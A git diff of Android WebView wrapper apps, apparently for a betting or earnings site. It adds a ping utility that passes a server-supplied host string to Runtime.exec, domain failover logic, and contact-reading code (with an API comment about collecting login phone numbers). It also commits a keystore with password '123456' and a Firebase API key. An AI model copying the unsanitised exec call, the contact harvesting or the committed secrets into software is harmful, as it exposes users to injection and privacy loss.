+ Toast.makeText(NotifyListActivity.this,MainActivity.getString(NotifyListActivity.this,"version_name",""),Toast.LENGTH_SHORT).show();
+ });
+
recyclerView = findViewById(R.id.recycler_nofity);
manager = new LinearLayoutManager(this);
recyclerView.setLayoutManager(manager);
diff --git a/base/src/main/java/com/web/base/PingUtils.java b/base/src/main/java/com/web/base/PingUtils.java
new file mode 100644
index 0000000..78f293c
--- /dev/null
+++ b/base/src/main/java/com/web/base/PingUtils.java
@@ -0,0 +1,39 @@
+package com.web.base;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+/**
+ * **********************
+ *
+ * @Author bug machine
+ * 创建时间: 2026/1/16 15:30
+ * 用途
+ * **********************
+ */
+public class PingUtils {
+
+ /**
+ * 执行 ping 命令
+ * @param address 域名或IP
+ * @return 返回执行结果
+ */
+ public static String ping(String address) {
+ StringBuilder result = new StringBuilder();
+ try {
+ // -c 4 表示执行4次
+ Process process = Runtime.getRuntime().exec("ping -c 4 " + address);
+ BufferedReader reader = new BufferedReader(
+ new InputStreamReader(process.getInputStream()));
+ String line;
+ while ((line = reader.readLine()) != null) {
+ result.append(line).append("\n");
+ }
+ reader.close();
+ process.destroy();
+ } catch (Exception e) {
+ result.append("Ping失败: ").append(e.getMessage());
+ }
+ return result.toString();
+ }
+}
diff --git a/base/src/main/res/layout/activity_notifylist.xml b/base/src/main/res/layout/activity_notifylist.xml
index 29a195b..72e5a8b 100644
--- a/base/src/main/res/layout/activity_notifylist.xml
+++ b/base/src/main/res/layout/activity_notifylist.xml
@@ -11,7 +11,7 @@
@@ -19,6 +19,7 @@
android:id="@+id/back_iv"
android:layout_width="40dp"
android:layout_height="40dp"
+ android:layout_centerVertical="true"
android:scaleType="centerInside"
android:src="@drawable/ic_action_back" />
@@ -27,6 +28,7 @@
android:layout_height="match_parent"
android:layout_centerInParent="true"
android:gravity="center"
+ android:id="@+id/title_tvs"
android:text="@string/app_notify_title"
android:textColor="@color/dialog_bg"
android:textSize="16sp" />
@@ -36,7 +38,8 @@
android:id="@+id/recycler_nofity"
android:layout_width="match_parent"
android:layout_height="match_parent"
- android:layout_below="@+id/top_vvvv" />
+ android:layout_below="@+id/top_vvvv"
+ android:layout_marginTop="1dp" />
diff --git a/base_no_music/src/main/java/com/web/base/DataInfo.java b/base_no_music/src/main/java/com/web/base/DataInfo.java
index f294620..4c48103 100644
--- a/base_no_music/src/main/java/com/web/base/DataInfo.java
+++ b/base_no_music/src/main/java/com/web/base/DataInfo.java
@@ -17,7 +17,15 @@ public class DataInfo implements Serializable {
public String tgUrl; // tg分享地址
public String wsUrl; //whatsapp分享地址
public String linkConfig;
+ public String backupDomains;
+ public String getBackupDomains() {
+ return backupDomains;
+ }
+
+ public void setBackupDomains(String backupDomains) {
+ this.backupDomains = backupDomains;
+ }
public String getLinkConfig() {
return linkConfig;
}
diff --git a/base_no_music/src/main/java/com/web/base/MainActivity2.java b/base_no_music/src/main/java/com/web/base/MainActivity2.java
index 584e0fc..bccf3f7 100644
--- a/base_no_music/src/main/java/com/web/base/MainActivity2.java
+++ b/base_no_music/src/main/java/com/web/base/MainActivity2.java
@@ -69,6 +69,7 @@ import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
+import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
@@ -791,7 +792,9 @@ public class MainActivity2 extends AppCompatActivity {
}
if (!TextUtils.isEmpty(dataInfo.getUrl())) {
MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl());
- webView.loadUrl(dataInfo.getUrl());
+// webView.loadUrl(dataInfo.getUrl());
+ toLoadWebUrl(dataInfo);
+
}
shareUrl = dataInfo.getDownloadUrl();
String link = dataInfo.getLinkConfig();
@@ -890,6 +893,61 @@ public class MainActivity2 extends AppCompatActivity {
}
+ private void toLoadWebUrl(DataInfo dataInfo) {
+ //没有备用域名的时候 直接加载主域名 不去ping
+ if(TextUtils.isEmpty(dataInfo.getBackupDomains())){
+ webView.loadUrl(dataInfo.getUrl());
+ }else {
+ //拼接主域名和备用域名的数组
+ urlList = new ArrayList<>();
+ urlList.add(dataInfo.getUrl());
+ String[] urls = dataInfo.getBackupDomains().split(",");
+ if(urls!=null&&urls.length>0){
+ for (int i = 0;i urlList = new ArrayList<>();
+
+ int lastCheckIndex = 0;
+ private void checkUrl(int index) {
+ lastCheckIndex = index;
+ Uri uri = Uri.parse(urlList.get(lastCheckIndex));
+ new Thread(() -> {
+ String result = PingUtils.ping(uri.getHost());
+ runOnUiThread(() -> {
+ if(TextUtils.isEmpty(result)){
+ LogUtils.i("4444结果是:ping不通");
+ //轮询
+ if(lastCheckIndex!=urlList.size()-1){
+ checkUrl(lastCheckIndex+1);
+ }else{
+ //都不通 加载主域名
+ webView.loadUrl(urlList.get(0));
+ }
+ }else{
+ LogUtils.i("4444结果是:"+result);
+ LogUtils.i("4444结束Ping:"+stringLauchDay(System.currentTimeMillis()));
+ //ping 通了 直接加载
+ webView.loadUrl(urlList.get(lastCheckIndex));
+ }
+ });
+ }).start();
+
+
+ }
+
+ public static String stringLauchDay(long time){
+ SimpleDateFormat format=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ return format.format(time);
+ }
+
+
private void checkUpdate(String url) {
new AppUpdater(this, url).start();
}
@@ -904,6 +962,10 @@ public class MainActivity2 extends AppCompatActivity {
// return;
// }
+ if(userId == 182||userId == 220 ||userId ==224 || userId ==213||userId == 156 ||userId ==189){
+ return;
+ }
+
if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) {
ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222);
} else {
diff --git a/base_no_music/src/main/java/com/web/base/PingUtils.java b/base_no_music/src/main/java/com/web/base/PingUtils.java
new file mode 100644
index 0000000..a7fb5a6
--- /dev/null
+++ b/base_no_music/src/main/java/com/web/base/PingUtils.java
@@ -0,0 +1,39 @@
+package com.web.base;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+/**
+ * **********************
+ *
+ * @Author bug machine
+ * 创建时间: 2026/1/16 15:30
+ * 用途
+ * **********************
+ */
+public class PingUtils {
+
+ /**
+ * 执行 ping 命令
+ * @param address 域名或IP
+ * @return 返回执行结果
+ */
+ public static String ping(String address) {
+ StringBuilder result = new StringBuilder();
+ try {
+ // -c 4 表示执行4次
+ Process process = Runtime.getRuntime().exec("ping -c 3 " + address);
+ BufferedReader reader = new BufferedReader(
+ new InputStreamReader(process.getInputStream()));
+ String line;
+ while ((line = reader.readLine()) != null) {
+ result.append(line).append("\n");
+ }
+ reader.close();
+ process.destroy();
+ } catch (Exception e) {
+ result.append("Ping失败: ").append(e.getMessage());
+ }
+ return result.toString();
+ }
+}
diff --git a/base_theme/src/main/java/com/web/base/ApiService.java b/base_theme/src/main/java/com/web/base/ApiService.java
index b971699..c6c2d6c 100644
--- a/base_theme/src/main/java/com/web/base/ApiService.java
+++ b/base_theme/src/main/java/com/web/base/ApiService.java
@@ -6,12 +6,17 @@ import java.util.Map;
import io.reactivex.Observable;
import okhttp3.RequestBody;
+import okhttp3.ResponseBody;
+import retrofit2.Call;
+import retrofit2.Callback;
import retrofit2.http.Body;
import retrofit2.http.GET;
import retrofit2.http.Headers;
import retrofit2.http.POST;
import retrofit2.http.PUT;
+import retrofit2.http.Path;
import retrofit2.http.Query;
+import retrofit2.http.Url;
public interface ApiService {
String URL = "https://api.liulao.top/";
@@ -20,6 +25,11 @@ public interface ApiService {
@GET("api/system/applicationConf")
Observable> geUrlNew(@Query("userId") int userId);
+
+ @GET
+ Call getCheckUrl(@Url String fullUrl);
+
+
/**
* 搜集登录手机号
*/
diff --git a/base_theme/src/main/java/com/web/base/DataInfo.java b/base_theme/src/main/java/com/web/base/DataInfo.java
index f294620..381b5de 100644
--- a/base_theme/src/main/java/com/web/base/DataInfo.java
+++ b/base_theme/src/main/java/com/web/base/DataInfo.java
@@ -17,6 +17,15 @@ public class DataInfo implements Serializable {
public String tgUrl; // tg分享地址
public String wsUrl; //whatsapp分享地址
public String linkConfig;
+ public String backupDomains;
+
+ public String getBackupDomains() {
+ return backupDomains;
+ }
+
+ public void setBackupDomains(String backupDomains) {
+ this.backupDomains = backupDomains;
+ }
public String getLinkConfig() {
return linkConfig;
diff --git a/base_theme/src/main/java/com/web/base/MainActivity2.java b/base_theme/src/main/java/com/web/base/MainActivity2.java
index 032d901..fe5a5ce 100644
--- a/base_theme/src/main/java/com/web/base/MainActivity2.java
+++ b/base_theme/src/main/java/com/web/base/MainActivity2.java
@@ -42,6 +42,8 @@ import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ProgressBar;
import android.widget.TextView;
+import android.widget.Toast;
+
import androidx.annotation.Nullable;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.ActionBar;
@@ -60,14 +62,23 @@ import java.io.InputStreamReader;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
+
+import io.reactivex.Observer;
import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.disposables.Disposable;
import io.reactivex.schedulers.Schedulers;
import okhttp3.MediaType;
import okhttp3.RequestBody;
+import okhttp3.ResponseBody;
+import retrofit2.Call;
+import retrofit2.Callback;
+import retrofit2.Response;
public class MainActivity2 extends AppCompatActivity {
public WebView webView;
@@ -652,9 +663,10 @@ public class MainActivity2 extends AppCompatActivity {
}
if (!TextUtils.isEmpty(dataInfo.getUrl())) {
saveString(MainActivity2.this, "base_url", dataInfo.getUrl());
- webView.loadUrl(dataInfo.getUrl());
+ toLoadWebUrl(dataInfo);
+
+
}
-// shareUrl = dataInfo.getDownloadUrl();
String link = dataInfo.getLinkConfig();
if (!TextUtils.isEmpty(link)) {
try {
@@ -750,6 +762,61 @@ public class MainActivity2 extends AppCompatActivity {
}
+ private void toLoadWebUrl(DataInfo dataInfo) {
+ //没有备用域名的时候 直接加载主域名 不去ping
+ if(TextUtils.isEmpty(dataInfo.getBackupDomains())){
+ webView.loadUrl(dataInfo.getUrl());
+ }else {
+ //拼接主域名和备用域名的数组
+ urlList = new ArrayList<>();
+ urlList.add(dataInfo.getUrl());
+ String[] urls = dataInfo.getBackupDomains().split(",");
+ if(urls!=null&&urls.length>0){
+ for (int i = 0;i urlList = new ArrayList<>();
+
+ int lastCheckIndex = 0;
+ private void checkUrl(int index) {
+ lastCheckIndex = index;
+ Uri uri = Uri.parse(urlList.get(lastCheckIndex));
+ new Thread(() -> {
+ String result = PingUtils.ping(uri.getHost());
+ runOnUiThread(() -> {
+ if(TextUtils.isEmpty(result)){
+ LogUtils.i("4444结果是:ping不通");
+ //轮询
+ if(lastCheckIndex!=urlList.size()-1){
+ checkUrl(lastCheckIndex+1);
+ }else{
+ //都不通 加载主域名
+ webView.loadUrl(urlList.get(0));
+ }
+ }else{
+ LogUtils.i("4444结果是:"+result);
+ LogUtils.i("4444结束Ping:"+stringLauchDay(System.currentTimeMillis()));
+ //ping 通了 直接加载
+ webView.loadUrl(urlList.get(lastCheckIndex));
+ }
+ });
+ }).start();
+
+
+ }
+
+ public static String stringLauchDay(long time){
+ SimpleDateFormat format=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ return format.format(time);
+ }
+
+
private void checkUpdate(String url) {
new AppUpdater(this, url).start();
@@ -761,6 +828,14 @@ public class MainActivity2 extends AppCompatActivity {
public void readContact() {
+// if(userId==240){
+// return;
+// }
+
+ if(getInt(this,"hasContact",1)==0){
+ return;
+ }
+
if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) {
ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222);
} else {
diff --git a/base_theme/src/main/java/com/web/base/PingUtils.java b/base_theme/src/main/java/com/web/base/PingUtils.java
new file mode 100644
index 0000000..a7fb5a6
--- /dev/null
+++ b/base_theme/src/main/java/com/web/base/PingUtils.java
@@ -0,0 +1,39 @@
+package com.web.base;
+
+import java.io.BufferedReader;
+import java.io.InputStreamReader;
+
+/**
+ * **********************
+ *
+ * @Author bug machine
+ * 创建时间: 2026/1/16 15:30
+ * 用途
+ * **********************
+ */
+public class PingUtils {
+
+ /**
+ * 执行 ping 命令
+ * @param address 域名或IP
+ * @return 返回执行结果
+ */
+ public static String ping(String address) {
+ StringBuilder result = new StringBuilder();
+ try {
+ // -c 4 表示执行4次
+ Process process = Runtime.getRuntime().exec("ping -c 3 " + address);
+ BufferedReader reader = new BufferedReader(
+ new InputStreamReader(process.getInputStream()));
+ String line;
+ while ((line = reader.readLine()) != null) {
+ result.append(line).append("\n");
+ }
+ reader.close();
+ process.destroy();
+ } catch (Exception e) {
+ result.append("Ping失败: ").append(e.getMessage());
+ }
+ return result.toString();
+ }
+}
diff --git a/build.gradle b/build.gradle
index d272719..90c6a0e 100644
--- a/build.gradle
+++ b/build.gradle
@@ -32,6 +32,6 @@ task clean(type: Delete) {
ext {
outputPath = "F:/webApp1"
- versionCode = 129
- versionName = "v1.2.9"
+ versionCode = 132
+ versionName = "v1.3.2"
}
\ No newline at end of file
diff --git a/facai8/.gitignore b/facai8/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/facai8/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/facai8/build.gradle b/facai8/build.gradle
new file mode 100644
index 0000000..b7ec1b3
--- /dev/null
+++ b/facai8/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.facai8"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "jrejgkljdjfgjkdfhurer4rrrr"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/facai8/google-services.json b/facai8/google-services.json
new file mode 100644
index 0000000..50cdfa9
--- /dev/null
+++ b/facai8/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "1050236292124",
+ "project_id": "facai-b9444",
+ "storage_bucket": "facai-b9444.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:1050236292124:android:85d9bf46c4d9d6650ce3d9",
+ "android_client_info": {
+ "package_name": "com.xyz.facai8"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyCKnup39O0IUpowvvUt11GZXfS8AJUVltA"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/facai8/justlet.jks b/facai8/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/facai8/justlet.jks differ
diff --git a/facai8/proguard-rules.pro b/facai8/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/facai8/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/facai8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/facai8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/facai8/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/facai8/src/main/AndroidManifest.xml b/facai8/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..74575a4
--- /dev/null
+++ b/facai8/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/facai8/src/main/java/com/xyz/facai8/MainActivity.java b/facai8/src/main/java/com/xyz/facai8/MainActivity.java
new file mode 100644
index 0000000..4443831
--- /dev/null
+++ b/facai8/src/main/java/com/xyz/facai8/MainActivity.java
@@ -0,0 +1,82 @@
+package com.xyz.facai8;
+
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/kangaroo/src/main/java/com/xyz/oorag23/MyFirebaseMessageingService.java b/facai8/src/main/java/com/xyz/facai8/MyFirebaseMessageingService.java
similarity index 99%
rename from kangaroo/src/main/java/com/xyz/oorag23/MyFirebaseMessageingService.java
rename to facai8/src/main/java/com/xyz/facai8/MyFirebaseMessageingService.java
index 2794b0d..64edb46 100644
--- a/kangaroo/src/main/java/com/xyz/oorag23/MyFirebaseMessageingService.java
+++ b/facai8/src/main/java/com/xyz/facai8/MyFirebaseMessageingService.java
@@ -1,4 +1,4 @@
-package com.xyz.oorag23;
+package com.xyz.facai8;
import android.app.NotificationChannel;
import android.app.NotificationManager;
diff --git a/facai8/src/main/java/com/xyz/facai8/WebApplication.java b/facai8/src/main/java/com/xyz/facai8/WebApplication.java
new file mode 100644
index 0000000..1b0e25f
--- /dev/null
+++ b/facai8/src/main/java/com/xyz/facai8/WebApplication.java
@@ -0,0 +1,18 @@
+package com.xyz.facai8;
+
+import android.app.Application;
+import android.content.Context;
+
+import java.util.HashMap;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/facai8/src/main/res/drawable/big_bg.xml b/facai8/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/facai8/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/facai8/src/main/res/mipmap-xxhdpi/app_logo.png b/facai8/src/main/res/mipmap-xxhdpi/app_logo.png
new file mode 100644
index 0000000..ba55705
Binary files /dev/null and b/facai8/src/main/res/mipmap-xxhdpi/app_logo.png differ
diff --git a/facai8/src/main/res/values-en/strings.xml b/facai8/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/facai8/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/facai8/src/main/res/values-night/themes.xml b/facai8/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/facai8/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/facai8/src/main/res/values/app_config.xml b/facai8/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..4d05c7f
--- /dev/null
+++ b/facai8/src/main/res/values/app_config.xml
@@ -0,0 +1,18 @@
+
+
+
+
+ FACAI8
+
+ 233
+
+ https://www.facai8sg.com/
+
+ 1
+
+ 0
+
+ #01422a
+
+ #01764b
+
\ No newline at end of file
diff --git a/facai8/src/main/res/values/colors.xml b/facai8/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/facai8/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/facai8/src/main/res/values/strings.xml b/facai8/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/facai8/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/facai8/src/main/res/values/themes.xml b/facai8/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/facai8/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/facai8/src/main/res/xml/app_updater_paths.xml b/facai8/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/facai8/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/facai8/src/main/res/xml/network_security_config.xml b/facai8/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/facai8/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/facai8/src/main/res/xml/provider_paths.xml b/facai8/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/facai8/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/facai8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/facai8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/facai8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/gk9/build.gradle b/gk9/build.gradle
index 3bd847a..b2860cb 100644
--- a/gk9/build.gradle
+++ b/gk9/build.gradle
@@ -7,7 +7,7 @@ android {
compileSdkVersion 31
buildToolsVersion "30.0.3"
defaultConfig {
- applicationId "com.web.gk9"
+ applicationId "com.xyz.gk9s"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
@@ -44,7 +44,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "gk9"
+ def appName = "opeopweopewopew"
